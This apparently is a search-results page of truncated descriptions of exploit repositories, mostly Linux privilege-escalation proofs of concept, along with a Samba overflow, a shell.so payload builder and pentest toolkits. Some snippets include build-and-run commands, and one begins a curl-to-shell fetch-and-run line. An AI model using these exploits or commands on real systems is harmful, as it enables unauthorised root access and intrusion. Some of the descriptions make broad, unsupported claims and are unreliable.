493437 matches found
trans2open-CVE-2003-0201
Samba versions 2.2.0 to 2.2.8 This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the noexec stack option set. NOTE: Some older versions of RedHat do not seem to be vulnerable sinc...
CVE-2025-32463
Heavily influenced/copied/based on the format of a similar repo by pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463i\chwoot.git This is a C reimplementation for rapid, single-source delivery, execution, and cleanup. CVE-2025-32463 ā sudo chroot "chwoot" PoC This repository provides a...
CVE-2022-0185-POC
CVE-2022-0185 ā Proof of Concept A proof-of-concept exploit for CVE-2022-0185 , a heap-based buffer overflow in the Linux kernel's legacyparseparam function fs/fscontext.c. This allows a local unprivileged user to escalate privileges to root. Original exploit by Crusaders of Rust. Full writeup:...
CVE-2021-4204
CVE-2021-4204 Chinese writeup: https://tr3e.ee/posts/cve-2021-4204-linux-kernel-ebpf-lpe.txt For educational/research purposes only. Use at your own risk. Build & Run root@kitploit: $ sh buildandrun.sh Build from source... cc -I include -static -w -o exploit exploit.c Start exploit! This might ta...
awesome-security-hardening
awesome-security-hardening A collection of awesome security hardening guides, best practices, checklists, benchmarks, tools and other resources. This is work in progress: please contribute by sending your suggestions. You may do this by creating issue tickets or forking, editing and sending pull...
nasm_linux_x86_64_pure_sharedlib
NASM Linux x8664 pure no deps shared library .so Tested with "Reflective SO injection". A library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process...
CVE-2023-0179-POC-
CVE-2023-0179 POC Credits to https://github.com/TurtleARM Steps to Reproduce Install Ubuntu-22.04.5-live-server-iso and fully install the version, but donāt update the system Install the Linux kernel version 6.1.6 onto the Virtual Machine with the Ubuntu version 24.04.5 Install the following...
Penetration-Testing-Tools
A collection of my Penetration Testing Tools, Scripts, Cheatsheets This is a collection of more than a 160+ tools, scripts, cheatsheets and other loots that I've been developing over years for Penetration Testing and IT Security audits purposes. Most of them came handy at least once during my...
metasploitable-penetration-testing-lab
š Metasploitable 2 Penetration Testing Lab A controlled cybersecurity lab project demonstrating vulnerability discovery, exploitation, post-exploitation validation, and defensive mitigation within an isolated virtual environment. š Project Overview This project simulates a real-world penetration...
CVE-2021-3490-POC
CVE-2021-3490 Credits to https://github.com/chompie1337 Steps to Reproduce Install the ubuntu-20.04.6-live-server-amd64.iso from Ubuntu Releases, and install into the virtual machine. root@kitploit: wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso After installing ISO,...
PwnKit_CVE-2021-4034
PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL...
POC-IngressNightmare-CVE-2025-1974
Shell.so Builder Alpine-based This project allows you to build a shell.so payload using Alpine Linux inside a Docker container. Instructions 1. Clone the repository : git clone cd 2. Build the payload : ./runbuild.sh The compiled shell.so will be generated in the project root directory. ā ļø...
CVE-2024-3094-analysis
CVE-2024-3094 ā Real-World Supply Chain Threat What is CVE-2024-3094? CVE-2024-3094 is a major backdoor vulnerability discovered in the xz compression library. It allows attackers to potentially execute code remotely through SSH. The vulnerability was introduced intentionally and affects critical...
CVE-2023-2598
CVE-2023-2598 Refer: https://anatomic.rip/cve-2023-2598/ https://github.com/ysanatomic/iouringLPE-CVE-2023-2598 https://bsauce.github.io/2024/07/30/CVE-2023-2598/ Build: root@kitploit: apt install -y liburing-dev gcc CVE-2023-2598.c -o CVE-2023-2598 -luring PoC: root@kitploit: user1@syzkaller:$...
CVE-2024-44946
Usage of the Enhanced PoC: Compile the PoC Code: bash Copy code gcc -o kcmuafpocadvanced kcmuafpocadvanced.c -pthread Run the PoC: bash Copy code sudo ./kcmuafpocadvanced The advanced PoC should simulate a highly complex race condition, potentially triggering the UAF vulnerability in the Linux...
CVE-2017-16995
Linux Kernel Version 4.14 - 4.4 Ubuntu && Debian Description This vulnerability exists in the eBPF bpf2 system call in the Linux kernel. When a user provides a malicious BPF program that causes a calculation error in the eBPF verifier module, it leads to arbitrary memory read/write issues...
Gombruc
Gombruc privilege escalation for linux all versions This vulnerability is related to CVE-2025-0401, which affects all Linux systems. With the help of this bash script, you can give your user any level of access, up to and including Root access. Warning: This exploit is for educational purposes on...
bochs_linux_kernel_debugging
bochslinuxkerneldebugging Tools for Linux kernel debugging on Bochs including symbols, native Bochs debugger and IDA PRO Generate symbol file for linux kernel debugging Follow the below steps: 0- Generate a nm style debug info file just use nm command on debug kernel image, example for Debian: 1-...
OverlayFS-PrivEsc-CVE-2022-0944
CVE-2022-0944: Privilege Escalation Vulnerability in OverlayFS š”ļø Security advisory and mitigation guide for the Linux kernel privilege escalation vulnerability in OverlayFS. š Overview CVE-2022-0944 is a security vulnerability in the Linux kernel's OverlayFS subsystem that allows local attackers...